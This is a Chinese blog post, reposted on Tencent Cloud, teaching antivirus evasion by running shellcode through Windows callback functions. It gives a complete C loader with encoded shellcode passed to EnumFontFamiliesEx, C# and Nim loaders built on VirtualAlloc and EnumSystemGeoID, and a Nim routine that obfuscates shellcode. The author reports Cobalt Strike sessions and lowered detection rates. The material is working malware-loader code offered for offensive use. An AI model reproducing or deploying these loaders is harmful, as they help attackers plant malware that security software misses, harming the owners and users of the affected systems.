专栏首页鸿鹄实验室免杀tips:回调函数的魅力

免杀tips:回调函数的魅力

正值某大型活动期间,于是水一篇文章,来聊聊最近大家比较喜欢的利用回调函数来进行免杀这个小tips。

如果你之前接触过编程语言,就一定会对回调函数(callback)有所了解,因为前人已对这些东西有过详细的介绍,所以这里不再过多赘述,不明白的可以参考MicroPest师傅的这两篇文章,里面详细的介绍了回调函数以及回调函数来进行shellcode执行的方法:https://my.oschina.net/u/4079523/blog/5011400、https://my.oschina.net/u/4079523/blog/5011399而回调函数也即下图所示:

那么一个比较直接的例子就是:

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
  int main() {
  int shellcode[] = {
    015024551061,014333060543,012124454524,06034505544,
    021303073213,021353206166,03037505460,021317057613,
    021336017534,0110017564,03725105776,05455607444,
    025520441027,012701636201,016521267151,03735105760,
    0377400434,032777727074
  };
  DWORD oldProtect = 0;
  BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);

  EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0);
}

而这样做的好处就是我们避免了一下敏感函数的使用,比如内存分配的:malloc(),virtualalloc(),heapalloc()的调用,更好的防止被安全软件所查杀。

但是C/C++的此类用法已经被大家所熟知了,效果自然也就慢慢的不好了,所以下面我们将它改造成Csharp版本和Nim版本,来提高我们的免杀效果。首先是Csharp版本。这里选择的api为EnumSystemGeoID,其函数原型如下:

BOOL EnumSystemGeoID(
  GEOCLASS     GeoClass,
  GEOID        ParentGeoId,
  GEO_ENUMPROC lpGeoEnumProc
);

注:使用该api无法避免virtualalloc的使用,其api调用链如下:

virtualalloc ---> memcpy --->  EnumSystemGeoID

按照之前的文章所说,我们还是需要先进行api的调用:

        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", EntryPoint = "EnumSystemGeoID")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool EnumSystemGeoID(uint GeoClass, int ParentGeoId, IntPtr lpGeoEnumProc);

下面就是函数的使用了,即分配内存、复制shellcode、回调。

执行后cs上线。因为原生shellcode的问题,效果肯定不好,这里可以根据自己的需要进行shellcode的混淆等,混淆后编译,最终的查杀效果如下:

然后就是最近比较火的nim了,nim的windows调用依赖于第三方库,我们可以这样调用它。

import winim/lean

然后就是一样的api的调用了,这里就仅仅展示一下VirtualAlloc吧:

        let rPtr = VirtualAlloc(
            nil,
            cast[SIZE_T](shellcode.len),
            MEM_COMMIT,
            PAGE_EXECUTE_READ_WRITE
        )

编译

nim cc -d=release --opt=size .\callback.nim

执行,成功上线。通用查看查杀率:

shellcode的加密可以参考:

var dict = toSeq(0..255).mapIt(it.uint8)
randomize()
dict.shuffle()

let entireFile = readFile(paramStr(1)).mapIt(it.uint8)
var finallTable = newSeq[uint8](entireFile.len)
for i in 0..high(entireFile):
    for k in 0..high(dict):
        if entireFile[i] == dict[k]:
            finallTable[i] = k.uint8
let result = encode(concat(dict,finallTable))
echo result

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-04-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 创造tips的秘籍——PHP回调后门

    最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如_GET['func'](_REQUEST['pass'])之类的方法。万变不离其...

    phith0n
  • Android后台保活实践总结:即时通讯应用无法根治的“顽疾”

    Android进程和Service的保活,是困扰Android开发人员的一大顽疾。因涉及到省电和内存管理策略,各厂商基于自家的理解,在自已ROOM发布时都会对标...

    JackJiang
  • Golang 编写的图片压缩程序,质量、尺寸压缩,批量、单张压缩

    目录:   前序   效果图   简介   全部代码 前序: 接触 golang 不久,一直是边学边做,边总结,深深感到这门语言的魅力,等下要跟大家分享是最近...

    林冠宏-指尖下的幽灵
  • 渗透测试与开发技巧

    https://github.com/3gstudent/Pentest-and-Development-Tips

    天钧
  • 记一次攻防演练tips | 攻防tips

    关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点

    意大利的猫
  • R语言系列第二期:②R编程、函数、数据输入等功能

    在上一部分里,我们为大家介绍了R的会话管理和作图系统。链接:R语言系列第二期:①R变量、脚本、作图等模块介绍

    微点
  • 红队之外网定向打点

    红队一般会针对目标系统、人员、软件、硬件和设备同时执行的多角度、混合、对抗性的模拟攻击;通过实现系统提权、控制业务、获取数据等目标,来发现系统、技术、人员和基础...

    HACK学习
  • 懒惰的力量

    (今天我在旧金山参加了Erlang factory 2015大会,增长了很多见识。参会的总结我过两天再写,很多思想需要时间沉淀。) 前段时间写了篇「永恒不变的魅...

    tyrchen
  • 魅族搞事情:黄章这次真的回来了,魅蓝和Flyme也要独立

    今天手机圈很热闹,美图和锤子手机发布会撞车召开,锤子步魅族之后尘与阿里YunOS结盟已是板上钉钉,魅族架构调整也尘埃落定。事实上,魅族要调整架构的传言早已甚嚣尘...

    罗超频道
  • Excel界地震 微软宣布 跨4代人34岁的 VLOOKUP 退休

    只要你在工作,几乎就不会用不到Excel;只要你用Excel,几乎就不会用不到 VLOOKUP 这个函数。VLOOKUP 的作用在于查找,这在数据处理中是一个非...

    用户6070864
  • 腾讯云人脸识别云开发微信小程序

    前端调用相机组件实现人脸在线采集,通过采集到的人脸图片的base64字符串调用云开发侧实现的腾讯云人脸识别云函数,然后将识别结果回调到小程序页面中。

    张世强
  • 揭秘一句话木马的套路

    可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行。

    FB客服
  • Webshell免杀套路

    字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视"形" 一个特殊的变形就能绕过安全狗,看看PHP手册,有着很多关于操作字符串的函数

    HACK学习
  • php免杀webshell木马总结

    关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 特殊字符干扰 数组 类 编码绕过 无字符特征马 PHP7.1后webshell...

    网e渗透安全部
  • 详谈一句话木马的套路

    可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行

    行云博客
  • Webshell免杀研究

    有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗、D盾、护卫神、云锁等安全软件查杀,在本篇文章中将会介绍一些常用的木马免杀技...

    Al1ex
  • 数据探索与分析中必不可少的Seaborn库

    Seaborn是基于matplotlib的图形可视化python包。它提供了一种高度交互式界面,便于用户能够做出各种有吸引力的统计图表。

    1480
  • 数据科学篇| Seaborn库的使用(四)

    Seaborn是基于matplotlib的图形可视化python包。它提供了一种高度交互式界面,便于用户能够做出各种有吸引力的统计图表。

    润森
  • 从锤子到合伙人看六类手机粉丝

    锤子手机的暴热,再次印证粉丝模式在智能手机屡试不爽。罗永浩的粉丝处处在维护着锤子手机的情怀,这样的狂热现象并不陌生。果粉和G粉已存在多年甚至势不两立,中国的小...

    罗超频道

扫码关注云+社区

领取腾讯云代金券